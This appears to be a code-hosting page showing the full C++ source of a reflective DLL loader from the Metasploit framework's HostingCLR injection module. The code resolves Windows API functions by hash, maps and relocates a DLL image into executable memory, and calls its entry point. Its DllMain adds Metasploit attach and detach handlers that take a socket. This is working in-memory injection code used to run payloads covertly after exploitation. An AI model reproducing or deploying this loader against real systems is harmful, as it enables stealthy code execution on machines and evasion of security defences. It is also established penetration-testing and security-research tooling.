Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/external/source/HostingCLR_inject/HostingCLR/ReflectiveLoader.cpp
Views: 11780
//===============================================================================================//1// Copyright (c) 2013, Stephen Fewer of Harmony Security (www.harmonysecurity.com)2// All rights reserved.3//4// Redistribution and use in source and binary forms, with or without modification, are permitted5// provided that the following conditions are met:6//7// * Redistributions of source code must retain the above copyright notice, this list of8// conditions and the following disclaimer.9//10// * Redistributions in binary form must reproduce the above copyright notice, this list of11// conditions and the following disclaimer in the documentation and/or other materials provided12// with the distribution.13//14// * Neither the name of Harmony Security nor the names of its contributors may be used to15// endorse or promote products derived from this software without specific prior written permission.16//17// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR18// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND19// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR20// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR21// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR22// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY23// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR24// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE25// POSSIBILITY OF SUCH DAMAGE.26//===============================================================================================//27#include "stdafx.h"28#include "ReflectiveLoader.h"29#include "ReflectiveFree.h"30//===============================================================================================//31// Our loader will set this to a pseudo correct HINSTANCE/HMODULE value32HINSTANCE hAppInstance = NULL;33//===============================================================================================//34#pragma intrinsic( _ReturnAddress )35// This function can not be inlined by the compiler or we will not get the address we expect. Ideally36// this code will be compiled with the /O2 and /Ob1 switches. Bonus points if we could take advantage of37// RIP relative addressing in this instance but I dont believe we can do so with the compiler intrinsics38// available (and no inline asm available under x64).39__declspec(noinline) ULONG_PTR caller(VOID) { return (ULONG_PTR)_ReturnAddress(); }40//===============================================================================================//4142#ifdef ENABLE_OUTPUTDEBUGSTRING43#define OUTPUTDBG(str) pOutputDebug((LPCSTR)str)44#else /* ENABLE_OUTPUTDEBUGSTRING */45#define OUTPUTDBG(str) do{}while(0)46#endif4748// Note 1: If you want to have your own DllMain, define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN,49// otherwise the DllMain at the end of this file will be used.5051// Note 2: If you are injecting the DLL via LoadRemoteLibraryR, define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR,52// otherwise it is assumed you are calling the ReflectiveLoader via a stub.5354// This is our position independent reflective DLL loader/injector55#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR56DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader(LPVOID lpParameter)57#else58DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader(VOID)59#endif60{61// the functions we need62LOADLIBRARYA pLoadLibraryA = NULL;63GETPROCADDRESS pGetProcAddress = NULL;64VIRTUALALLOC pVirtualAlloc = NULL;65NTFLUSHINSTRUCTIONCACHE pNtFlushInstructionCache = NULL;66#ifdef ENABLE_STOPPAGING67VIRTUALLOCK pVirtualLock = NULL;68#endif69#ifdef ENABLE_OUTPUTDEBUGSTRING70OUTPUTDEBUG pOutputDebug = NULL;71#endif7273USHORT usCounter;7475// the initial location of this image in memory76ULONG_PTR uiLibraryAddress;77ULONG_PTR uiLibraryAddressOrig;78// the kernels base address and later this images newly loaded base address79ULONG_PTR uiBaseAddress;8081// variables for processing the kernels export table82ULONG_PTR uiAddressArray;83ULONG_PTR uiNameArray;84ULONG_PTR uiExportDir;85ULONG_PTR uiNameOrdinals;86DWORD dwHashValue;8788// variables for loading this image89ULONG_PTR uiHeaderValue;90ULONG_PTR uiValueA;91ULONG_PTR uiValueB;92ULONG_PTR uiValueC;93ULONG_PTR uiValueD;94ULONG_PTR uiValueE;9596// STEP 0: calculate our images current base address9798// we will start searching backwards from our callers return address.99uiLibraryAddress = caller();100101// loop through memory backwards searching for our images base address102// we dont need SEH style search as we shouldnt generate any access violations with this103while (TRUE)104{105if (((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE)106{107uiHeaderValue = ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;108// some x64 dll's can trigger a bogus signature (IMAGE_DOS_SIGNATURE == 'POP r10'),109// we sanity check the e_lfanew with an upper threshold value of 1024 to avoid problems.110if (uiHeaderValue >= sizeof(IMAGE_DOS_HEADER) && uiHeaderValue < 1024)111{112uiHeaderValue += uiLibraryAddress;113// break if we have found a valid MZ/PE header114if (((PIMAGE_NT_HEADERS)uiHeaderValue)->Signature == IMAGE_NT_SIGNATURE)115break;116}117}118uiLibraryAddress--;119}120uiLibraryAddressOrig = uiLibraryAddress;121122// STEP 1: process the kernels exports for the functions our loader needs...123124// get the Process Enviroment Block125#ifdef _WIN64126uiBaseAddress = __readgsqword(0x60);127#else128#ifdef WIN_ARM129uiBaseAddress = *(DWORD *)((BYTE *)_MoveFromCoprocessor(15, 0, 13, 0, 2) + 0x30);130#else _WIN32131uiBaseAddress = __readfsdword(0x30);132#endif133#endif134135// get the processes loaded modules. ref: http://msdn.microsoft.com/en-us/library/aa813708(VS.85).aspx136uiBaseAddress = (ULONG_PTR)((_PPEB)uiBaseAddress)->pLdr;137138// get the first entry of the InMemoryOrder module list139uiValueA = (ULONG_PTR)((PPEB_LDR_DATA)uiBaseAddress)->InMemoryOrderModuleList.Flink;140while (uiValueA)141{142// get pointer to current modules name (unicode string)143uiValueB = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.pBuffer;144// set bCounter to the length for the loop145usCounter = ((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.Length;146// clear uiValueC which will store the hash of the module name147uiValueC = 0;148149// compute the hash of the module name...150do151{152uiValueC = ror((DWORD)uiValueC);153// normalize to uppercase if the module name is in lowercase154if (*((BYTE *)uiValueB) >= 'a')155uiValueC += *((BYTE *)uiValueB) - 0x20;156else157uiValueC += *((BYTE *)uiValueB);158uiValueB++;159} while (--usCounter);160161// compare the hash with that of kernel32.dll162if ((DWORD)uiValueC == KERNEL32DLL_HASH)163{164// get this modules base address165uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;166167// get the VA of the modules NT Header168uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;169170// uiNameArray = the address of the modules export directory entry171uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];172173// get the VA of the export directory174uiExportDir = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress);175176// get the VA for the array of name pointers177uiNameArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNames);178179// get the VA for the array of name ordinals180uiNameOrdinals = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNameOrdinals);181182usCounter = 3;183#ifdef ENABLE_STOPPAGING184usCounter++;185#endif186#ifdef ENABLE_OUTPUTDEBUGSTRING187usCounter++;188#endif189190// loop while we still have imports to find191while (usCounter > 0)192{193// compute the hash values for this function name194dwHashValue = _hash((char *)(uiBaseAddress + DEREF_32(uiNameArray)));195196// if we have found a function we want we get its virtual address197if (dwHashValue == LOADLIBRARYA_HASH198|| dwHashValue == GETPROCADDRESS_HASH199|| dwHashValue == VIRTUALALLOC_HASH200#ifdef ENABLE_STOPPAGING201|| dwHashValue == VIRTUALLOCK_HASH202#endif203#ifdef ENABLE_OUTPUTDEBUGSTRING204|| dwHashValue == OUTPUTDEBUG_HASH205#endif206)207{208// get the VA for the array of addresses209uiAddressArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions);210211// use this functions name ordinal as an index into the array of name pointers212uiAddressArray += (DEREF_16(uiNameOrdinals) * sizeof(DWORD));213214// store this functions VA215if (dwHashValue == LOADLIBRARYA_HASH)216pLoadLibraryA = (LOADLIBRARYA)(uiBaseAddress + DEREF_32(uiAddressArray));217else if (dwHashValue == GETPROCADDRESS_HASH)218pGetProcAddress = (GETPROCADDRESS)(uiBaseAddress + DEREF_32(uiAddressArray));219else if (dwHashValue == VIRTUALALLOC_HASH)220pVirtualAlloc = (VIRTUALALLOC)(uiBaseAddress + DEREF_32(uiAddressArray));221#ifdef ENABLE_STOPPAGING222else if (dwHashValue == VIRTUALLOCK_HASH)223pVirtualLock = (VIRTUALLOCK)(uiBaseAddress + DEREF_32(uiAddressArray));224#endif225#ifdef ENABLE_OUTPUTDEBUGSTRING226else if (dwHashValue == OUTPUTDEBUG_HASH)227pOutputDebug = (OUTPUTDEBUG)(uiBaseAddress + DEREF_32(uiAddressArray));228#endif229230// decrement our counter231usCounter--;232}233234// get the next exported function name235uiNameArray += sizeof(DWORD);236237// get the next exported function name ordinal238uiNameOrdinals += sizeof(WORD);239}240}241else if ((DWORD)uiValueC == NTDLLDLL_HASH)242{243// get this modules base address244uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;245246// get the VA of the modules NT Header247uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;248249// uiNameArray = the address of the modules export directory entry250uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];251252// get the VA of the export directory253uiExportDir = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress);254255// get the VA for the array of name pointers256uiNameArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNames);257258// get the VA for the array of name ordinals259uiNameOrdinals = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNameOrdinals);260261usCounter = 1;262263// loop while we still have imports to find264while (usCounter > 0)265{266// compute the hash values for this function name267dwHashValue = _hash((char *)(uiBaseAddress + DEREF_32(uiNameArray)));268269// if we have found a function we want we get its virtual address270if (dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH)271{272// get the VA for the array of addresses273uiAddressArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions);274275// use this functions name ordinal as an index into the array of name pointers276uiAddressArray += (DEREF_16(uiNameOrdinals) * sizeof(DWORD));277278// store this functions VA279if (dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH)280pNtFlushInstructionCache = (NTFLUSHINSTRUCTIONCACHE)(uiBaseAddress + DEREF_32(uiAddressArray));281282// decrement our counter283usCounter--;284}285286// get the next exported function name287uiNameArray += sizeof(DWORD);288289// get the next exported function name ordinal290uiNameOrdinals += sizeof(WORD);291}292}293294// we stop searching when we have found everything we need.295if (pLoadLibraryA296&& pGetProcAddress297&& pVirtualAlloc298#ifdef ENABLE_STOPPAGING299&& pVirtualLock300#endif301&& pNtFlushInstructionCache302#ifdef ENABLE_OUTPUTDEBUGSTRING303&& pOutputDebug304#endif305)306break;307308// get the next entry309uiValueA = DEREF(uiValueA);310}311312// STEP 2: load our image into a new permanent location in memory...313314// get the VA of the NT Header for the PE to be loaded315uiHeaderValue = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;316317// allocate all the memory for the DLL to be loaded into. we can load at any address because we will318// relocate the image. Also zeros all memory and marks it as READ, WRITE and EXECUTE to avoid any problems.319uiBaseAddress = (ULONG_PTR)pVirtualAlloc(NULL, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);320321#ifdef ENABLE_STOPPAGING322// prevent our image from being swapped to the pagefile323pVirtualLock((LPVOID)uiBaseAddress, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage);324#endif325326// we must now copy over the headers327uiValueA = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders;328uiValueB = uiLibraryAddress;329uiValueC = uiBaseAddress;330331while (uiValueA--)332*(BYTE *)uiValueC++ = *(BYTE *)uiValueB++;333334// STEP 3: load in all of our sections...335336// uiValueA = the VA of the first section337uiValueA = ((ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader);338339// itterate through all sections, loading them into memory.340uiValueE = ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections;341while (uiValueE--)342{343// uiValueB is the VA for this section344uiValueB = (uiBaseAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->VirtualAddress);345346// uiValueC if the VA for this sections data347uiValueC = (uiLibraryAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->PointerToRawData);348349// copy the section over350uiValueD = ((PIMAGE_SECTION_HEADER)uiValueA)->SizeOfRawData;351352while (uiValueD--)353*(BYTE *)uiValueB++ = *(BYTE *)uiValueC++;354355// get the VA of the next section356uiValueA += sizeof(IMAGE_SECTION_HEADER);357}358359// STEP 4: process our images import table...360361// uiValueB = the address of the import directory362uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];363364// we assume there is an import table to process365// uiValueC is the first entry in the import table366uiValueC = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress);367368// iterate through all imports until a null RVA is found (Characteristics is mis-named)369while (((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Characteristics)370{371OUTPUTDBG("Loading library: ");372OUTPUTDBG((LPCSTR)(uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name));373OUTPUTDBG("\n");374375// use LoadLibraryA to load the imported module into memory376uiLibraryAddress = (ULONG_PTR)pLoadLibraryA((LPCSTR)(uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name));377378if (!uiLibraryAddress)379{380OUTPUTDBG("Loading library FAILED\n");381382uiValueC += sizeof(IMAGE_IMPORT_DESCRIPTOR);383continue;384}385386// uiValueD = VA of the OriginalFirstThunk387uiValueD = (uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->OriginalFirstThunk);388389// uiValueA = VA of the IAT (via first thunk not origionalfirstthunk)390uiValueA = (uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->FirstThunk);391392// itterate through all imported functions, importing by ordinal if no name present393while (DEREF(uiValueA))394{395// sanity check uiValueD as some compilers only import by FirstThunk396if (uiValueD && ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal & IMAGE_ORDINAL_FLAG)397{398// get the VA of the modules NT Header399uiExportDir = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;400401// uiNameArray = the address of the modules export directory entry402uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];403404// get the VA of the export directory405uiExportDir = (uiLibraryAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress);406407// get the VA for the array of addresses408uiAddressArray = (uiLibraryAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions);409410// use the import ordinal (- export ordinal base) as an index into the array of addresses411uiAddressArray += ((IMAGE_ORDINAL(((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal) - ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->Base) * sizeof(DWORD));412413// patch in the address for this imported function414DEREF(uiValueA) = (uiLibraryAddress + DEREF_32(uiAddressArray));415}416else417{418// get the VA of this functions import by name struct419uiValueB = (uiBaseAddress + DEREF(uiValueA));420421OUTPUTDBG("Resolving function: ");422OUTPUTDBG(((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name);423OUTPUTDBG("\n");424425// use GetProcAddress and patch in the address for this imported function426DEREF(uiValueA) = (ULONG_PTR)pGetProcAddress((HMODULE)uiLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name);427}428// get the next imported function429uiValueA += sizeof(ULONG_PTR);430if (uiValueD)431uiValueD += sizeof(ULONG_PTR);432}433434// get the next import435uiValueC += sizeof(IMAGE_IMPORT_DESCRIPTOR);436}437438// STEP 5: process all of our images relocations...439440// calculate the base address delta and perform relocations (even if we load at desired image base)441uiLibraryAddress = uiBaseAddress - ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase;442443// uiValueB = the address of the relocation directory444uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];445446// check if their are any relocations present447if (((PIMAGE_DATA_DIRECTORY)uiValueB)->Size)448{449// uiValueC is now the first entry (IMAGE_BASE_RELOCATION)450uiValueC = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress);451452// and we itterate through all entries...453while (((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock)454{455// uiValueA = the VA for this relocation block456uiValueA = (uiBaseAddress + ((PIMAGE_BASE_RELOCATION)uiValueC)->VirtualAddress);457458// uiValueB = number of entries in this relocation block459uiValueB = (((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(IMAGE_RELOC);460461// uiValueD is now the first entry in the current relocation block462uiValueD = uiValueC + sizeof(IMAGE_BASE_RELOCATION);463464// we itterate through all the entries in the current block...465while (uiValueB--)466{467// perform the relocation, skipping IMAGE_REL_BASED_ABSOLUTE as required.468// we dont use a switch statement to avoid the compiler building a jump table469// which would not be very position independent!470if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_DIR64)471*(ULONG_PTR *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += uiLibraryAddress;472else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGHLOW)473*(DWORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += (DWORD)uiLibraryAddress;474#ifdef WIN_ARM475// Note: On ARM, the compiler optimization /O2 seems to introduce an off by one issue, possibly a code gen bug. Using /O1 instead avoids this problem.476else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_ARM_MOV32T)477{478register DWORD dwInstruction;479register DWORD dwAddress;480register WORD wImm;481// get the MOV.T instructions DWORD value (We add 4 to the offset to go past the first MOV.W which handles the low word)482dwInstruction = *(DWORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD));483// flip the words to get the instruction as expected484dwInstruction = MAKELONG(HIWORD(dwInstruction), LOWORD(dwInstruction));485// sanity chack we are processing a MOV instruction...486if ((dwInstruction & ARM_MOV_MASK) == ARM_MOVT)487{488// pull out the encoded 16bit value (the high portion of the address-to-relocate)489wImm = (WORD)(dwInstruction & 0x000000FF);490wImm |= (WORD)((dwInstruction & 0x00007000) >> 4);491wImm |= (WORD)((dwInstruction & 0x04000000) >> 15);492wImm |= (WORD)((dwInstruction & 0x000F0000) >> 4);493// apply the relocation to the target address494dwAddress = ((WORD)HIWORD(uiLibraryAddress) + wImm) & 0xFFFF;495// now create a new instruction with the same opcode and register param.496dwInstruction = (DWORD)(dwInstruction & ARM_MOV_MASK2);497// patch in the relocated address...498dwInstruction |= (DWORD)(dwAddress & 0x00FF);499dwInstruction |= (DWORD)(dwAddress & 0x0700) << 4;500dwInstruction |= (DWORD)(dwAddress & 0x0800) << 15;501dwInstruction |= (DWORD)(dwAddress & 0xF000) << 4;502// now flip the instructions words and patch back into the code...503*(DWORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD)) = MAKELONG(HIWORD(dwInstruction), LOWORD(dwInstruction));504}505}506#endif507else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGH)508*(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += HIWORD(uiLibraryAddress);509else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_LOW)510*(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += LOWORD(uiLibraryAddress);511512// get the next entry in the current relocation block513uiValueD += sizeof(IMAGE_RELOC);514}515516// get the next entry in the relocation directory517uiValueC = uiValueC + ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock;518}519}520521// STEP 6: call our images entry point522523// uiValueA = the VA of our newly loaded DLL/EXE's entry point524uiValueA = (uiBaseAddress + ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.AddressOfEntryPoint);525526OUTPUTDBG("Flushing the instruction cache");527// We must flush the instruction cache to avoid stale code being used which was updated by our relocation processing.528pNtFlushInstructionCache((HANDLE)-1, NULL, 0);529530// call our respective entry point, fudging our hInstance value531#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR532// if we are injecting a DLL via LoadRemoteLibraryR we call DllMain and pass in our parameter (via the DllMain lpReserved parameter)533((DLLMAIN)uiValueA)((HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, lpParameter);534535// Free the loader itself536((DLLMAIN)uiValueA)((HINSTANCE)uiLibraryAddressOrig, DLL_PROCESS_DETACH, NULL);537#else538// if we are injecting an DLL via a stub we call DllMain with no parameter539((DLLMAIN)uiValueA)((HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, NULL);540#endif541542// STEP 8: return our new entry point address so whatever called us can call DllMain() if needed.543return uiValueA;544}545//===============================================================================================//546#ifndef REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN547548// you must implement this function...549extern DWORD DLLEXPORT Init(SOCKET socket);550551BOOL MetasploitDllAttach(SOCKET socket)552{553Init(socket);554return TRUE;555}556557BOOL MetasploitDllDetach(DWORD dwExitFunc)558{559switch (dwExitFunc)560{561case EXITFUNC_SEH:562SetUnhandledExceptionFilter(NULL);563break;564case EXITFUNC_THREAD:565ExitThread(0);566break;567case EXITFUNC_PROCESS:568ExitProcess(0);569break;570default:571break;572}573574return TRUE;575}576577BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved)578{579BOOL bReturnValue = TRUE;580581switch (dwReason)582{583case DLL_METASPLOIT_ATTACH:584bReturnValue = MetasploitDllAttach((SOCKET)lpReserved);585break;586case DLL_METASPLOIT_DETACH:587bReturnValue = MetasploitDllDetach((DWORD)lpReserved);588break;589case DLL_QUERY_HMODULE:590if (lpReserved != NULL)591*(HMODULE *)lpReserved = hAppInstance;592break;593case DLL_PROCESS_ATTACH:594hAppInstance = hinstDLL;595break;596case DLL_PROCESS_DETACH:597case DLL_THREAD_ATTACH:598case DLL_THREAD_DETACH:599break;600}601return bReturnValue;602}603604#endif605//===============================================================================================//606607